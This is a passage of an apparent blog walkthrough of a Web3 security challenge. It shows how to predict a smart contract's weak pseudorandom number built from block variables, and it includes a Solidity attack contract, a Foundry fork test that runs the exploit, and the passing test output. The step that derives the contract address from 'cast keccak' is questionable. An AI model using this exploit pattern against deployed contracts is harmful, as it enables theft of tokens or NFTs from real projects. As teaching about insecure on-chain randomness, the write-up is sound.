&lt;code&gt;msg.sender&lt;/code&gt;: in our case, it's a contract we deploy&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;block.prevrandao&lt;/code&gt;: randomness beacon from the previous block (also called mixHash)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;block.timestamp&lt;/code&gt;: current block timestamp&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But since we control all of this (via a fork!), the randomness isn't really random anymore 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  🕵️‍♂️ Step 1: Re-create the guess off-chain
&lt;/h3&gt;

&lt;p&gt;We start by selecting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A known timestamp from the block (1755355572)&lt;/li&gt;
&lt;li&gt;A known prevrandao/mixHash from the block (0x3a70aa...)&lt;/li&gt;
&lt;li&gt;And we choose our attacker contract address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But we need to know the future address of our attacking contract… wait, how?&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Step 2: Predict attacker contract address
&lt;/h3&gt;

&lt;p&gt;Since we're deploying the attacking contract from a fixed EOA, the deployed contract address is predictable.&lt;/p&gt;

&lt;p&gt;We picked an attacker address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export attackerEOA=0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we computed the contract address using Foundry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast keccak "attacker"
# → 0x3a70aa...  ← use the last 40 hex characters (20 bytes) for the contract address
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔢 Step 3: Build the exact calldata
&lt;/h3&gt;

&lt;p&gt;The solveChallenge() function expects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To simulate the guess off-chain, we do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast abi-encode "f(address,uint256,uint256)" \
  &amp;lt;contract_address&amp;gt; \
  &amp;lt;prevrandao&amp;gt; \
  &amp;lt;timestamp&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then hash the full data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast keccak &amp;lt;abi_encoded_data&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "$((0x&amp;lt;hash&amp;gt; % 100000))"
# ✅ That’s your correct guess!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our case, the guess was 90451.&lt;/p&gt;

&lt;p&gt;🔥 This is the core of the challenge — reversing a weak random generator with on-chain data. It shows why you should never use block variables for randomness in security-critical logic.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠 Writing the Exploit — Deploy, Guess, Profit
&lt;/h2&gt;

&lt;p&gt;Once we’ve cracked the guess off-chain, it’s time to actually submit it. But there’s one more twist — the challenge contract is expecting the call from a smart contract (not an EOA), which will act as the &lt;code&gt;msg.sender&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s build that!&lt;/p&gt;

&lt;h3&gt;
  
  
  📦 Hack Contract
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackLessonNine {
    ILessonNine public target;
    string public handle;

    constructor(address _target, string memory _handle) {
        target = ILessonNine(_target);
        handle = _handle;
    }

    function run() public {
        uint256 guess = uint256(
            keccak256(
                abi.encodePacked(address(this), block.prevrandao, block.timestamp)
            )
        ) % 100000;

        target.solveChallenge(guess, handle);
    }

    receive() external payable {}

    function onERC721Received(...) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What’s happening here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We store the target contract and Twitter handle.&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;run()&lt;/code&gt; we rebuild the guess on-chain using &lt;code&gt;address(this)&lt;/code&gt;, &lt;code&gt;block.prevrandao&lt;/code&gt; and &lt;code&gt;block.timestamp&lt;/code&gt; — exactly as the challenge does.&lt;/li&gt;
&lt;li&gt;Then we call &lt;code&gt;solveChallenge()&lt;/code&gt; with the guess.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;onERC721Received&lt;/code&gt; function is required to receive the NFT if the challenge uses &lt;code&gt;safeTransferFrom&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Writing the Forge Test&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc;

    function setUp() public {
        string memory rpc = vm.envString("SEPOLIA_RPC");
        uint256 blockNum = vm.envUint("FORK_BLOCK");
        TARGET = vm.envAddress("TARGET");

        fork = vm.createFork(rpc, blockNum);
        vm.selectFork(fork);

        vm.warp(1755355572); // ⏳ Timestamp override
        vm.deal(attackerEOA, 1 ether); // 💰 Fund the attacker
    }

    function test_ExploitWithInternalCall() public {
        vm.selectFork(fork);
        vm.startPrank(attackerEOA);

        HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
        hack.run();

        vm.stopPrank();
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧠 Why this works:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The fork is created at the block we analyzed earlier.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vm.warp()&lt;/code&gt; freezes the time to match the one used in the off-chain guess.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;startPrank()&lt;/code&gt; lets us deploy and interact as the attackerEOA, keeping the deployed contract address consistent.&lt;/li&gt;
&lt;li&gt;Finally, we deploy the &lt;code&gt;HackLessonNine&lt;/code&gt; contract and call &lt;code&gt;run()&lt;/code&gt; — and voilà! 🎉&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything’s correct, the NFT will be minted to the contract and transferred to the attacker EOA!&lt;/p&gt;

&lt;h3&gt;
  
  
  All Code on GitHub
&lt;/h3&gt;

&lt;p&gt;You can find all the necessary files for this challenge — including the HackLessonNine contract, the Forge test, and even .env examples — in my GitHub repo 👉 &lt;a href="https://github.com/Kode-n-Rolla/web3/tree/main/own_kodes/nft_challange" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This way, you don’t need to copy-paste from the article — everything’s structured and ready to run.&lt;/p&gt;

&lt;h3&gt;
  
  
  📘 Bonus: NatSpec Comments
&lt;/h3&gt;

&lt;p&gt;I also added NatSpec comments to the contracts — it’s a good practice to document your smart contracts properly, especially when collaborating or auditing. Think of it as the Solidity equivalent of writing clean commit messages 😄&lt;/p&gt;

&lt;p&gt;They might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/**
 * @title HackLessonNine
 * @author your name
 * @notice This contract computes the pseudo-random number and calls the solve function.
 */
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They don’t affect execution, but they help readers (and tools!) understand your code faster. Let’s make good habits the default. 👨‍💻✨&lt;/p&gt;

&lt;h2&gt;
  
  
  ✅ Writing the Forge Test
&lt;/h2&gt;

&lt;p&gt;Here’s where the magic happens — we simulate the entire attack in a &lt;strong&gt;Foundry test&lt;/strong&gt; using a &lt;strong&gt;Sepolia fork&lt;/strong&gt;. This gives us a clean and controlled environment where we can call &lt;code&gt;solveChallenge&lt;/code&gt; under real blockchain conditions.&lt;/p&gt;

&lt;p&gt;Let’s break it down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x9715...3Dc;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;fork&lt;/code&gt; – for storing our fork ID,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TARGET&lt;/code&gt; – the target contract we’ll interact with,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;attackerEOA&lt;/code&gt; – the address we manually derived earlier (you remember that &lt;code&gt;cast keccak&lt;/code&gt; moment 😏).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;setUp(): Preparing the Fork&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function setUp() public {
    string memory rpc = vm.envString("SEPOLIA_RPC");
    uint256 blockNum = vm.envUint("FORK_BLOCK");
    TARGET = vm.envAddress("TARGET");

    fork = vm.createFork(rpc, blockNum);
    vm.selectFork(fork);

    vm.warp(1755355572);
    vm.deal(attackerEOA, 1 ether);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reads our &lt;code&gt;.env&lt;/code&gt; variables,&lt;/li&gt;
&lt;li&gt;Creates and selects a fork of Sepolia at the exact block we inspected,&lt;/li&gt;
&lt;li&gt;Time-travels to the original block timestamp using &lt;code&gt;vm.warp&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;Funds our &lt;code&gt;attackerEOA&lt;/code&gt; with 1 ether to pay for gas 💸&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🚀 test_ExploitWithInternalCall()&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function test_ExploitWithInternalCall() public {
    vm.selectFork(fork);
    vm.startPrank(attackerEOA);

    HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
    hack.run();

    vm.stopPrank();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the actual exploit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We use &lt;code&gt;vm.startPrank(attackerEOA)&lt;/code&gt; to impersonate the attacker.&lt;/li&gt;
&lt;li&gt;We deploy the &lt;code&gt;HackLessonNine&lt;/code&gt; contract with our handle (that shows up on the NFT 👀).&lt;/li&gt;
&lt;li&gt;Calling &lt;code&gt;run()&lt;/code&gt; triggers the pseudo-random guess generation and sends it to the challenge contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s run the test command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;forge &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;--mc&lt;/span&gt; HackSolve &lt;span class="nt"&gt;-vvv&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;⠊] Compiling...
&lt;span class="o"&gt;[&lt;/span&gt;⠑] Compiling 1 files with Solc 0.8.30
&lt;span class="o"&gt;[&lt;/span&gt;⠘] Solc 0.8.30 finished &lt;span class="k"&gt;in &lt;/span&gt;1.55s
Compiler run successful!

Ran 1 &lt;span class="nb"&gt;test &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;/HackSolve.t.sol:HackSolve
&lt;span class="o"&gt;[&lt;/span&gt;PASS] test_ExploitWithInternalCall&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;gas: 621045&lt;span class="o"&gt;)&lt;/span&gt;
Suite result: ok. 1 passed&lt;span class="p"&gt;;&lt;/span&gt; 0 failed&lt;span class="p"&gt;;&lt;/span&gt; 0 skipped&lt;span class="p"&gt;;&lt;/span&gt; finished &lt;span class="k"&gt;in &lt;/span&gt;399.25ms &lt;span class="o"&gt;(&lt;/span&gt;1.14ms CPU &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Ran 1 &lt;span class="nb"&gt;test &lt;/span&gt;suite &lt;span class="k"&gt;in &lt;/span&gt;401.88ms &lt;span class="o"&gt;(&lt;/span&gt;399.25ms CPU &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;: 1 tests passed, 0 failed, 0 skipped &lt;span class="o"&gt;(&lt;/span&gt;1 total tests&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If everything is like this… 🎉 you receive the NFT (locally, not in real network)!&lt;/p&gt;

&lt;h2&gt;
  
  
  🧠 Final Thoughts: Pseudorandomness &amp;amp; Blockchain
&lt;/h2&gt;

&lt;p&gt;Before we wrap up, let’s talk briefly about the core idea behind this challenge — &lt;strong&gt;pseudorandom numbers&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In traditional applications, generating random numbers is relatively easy thanks to system entropy (e.g. from mouse movement, CPU jitter, etc). But on-chain randomness is a completely different beast.&lt;/p&gt;

&lt;p&gt;Why?&lt;br&gt;
Because everything on the blockchain is deterministic. Every node must come to the exact same state — otherwise, consensus breaks.&lt;/p&gt;

&lt;p&gt;That’s why when developers try to use values like &lt;code&gt;block.timestamp&lt;/code&gt;, &lt;code&gt;block.prevrandao&lt;/code&gt;, or &lt;code&gt;msg.sender&lt;/code&gt; to simulate randomness, it’s never truly random — and often, it's &lt;strong&gt;predictable or manipulatable&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;pseudorandomness&lt;/strong&gt; comes in — it’s not real randomness, but it's often "good enough"... unless a clever attacker (like us 😉) finds the pattern.&lt;/p&gt;

&lt;p&gt;🔒 For truly secure randomness on-chain, projects rely on oracles like &lt;a href="https://docs.chain.link/vrf" rel="noopener noreferrer"&gt;Chainlink VRF&lt;/a&gt;. It provides verifiable randomness — provably fair and tamper-resistant.&lt;/p&gt;

&lt;h3&gt;
  
  
  🙌 Thanks for Reading
&lt;/h3&gt;

&lt;p&gt;Thanks for coming along this journey with me!&lt;/p&gt;

&lt;p&gt;I hope this walkthrough helped demystify not only the challenge but also how randomness works (or doesn’t work!) on-chain.&lt;br&gt;
If you're also diving into Web3 security, Solidity fuzzing, or just love weird quirks in smart contracts — let’s connect!&lt;/p&gt;

&lt;p&gt;📎 Useful links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔗 My &lt;a href="https://github.com/Kode-n-Rolla" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧠 My Tech and Security articles on &lt;a href="https://medium.com/@k0d3-n-r011a" rel="noopener noreferrer"&gt;Medium&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🤝 Connect with me on &lt;a href="https://www.linkedin.com/in/pavel-egin/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Happy hacking! 👾&lt;/p&gt;

</description>
      <category>web3</category>
      <category>nft</category>
      <category>security</category>
    </item>
  </channel>
</rss>
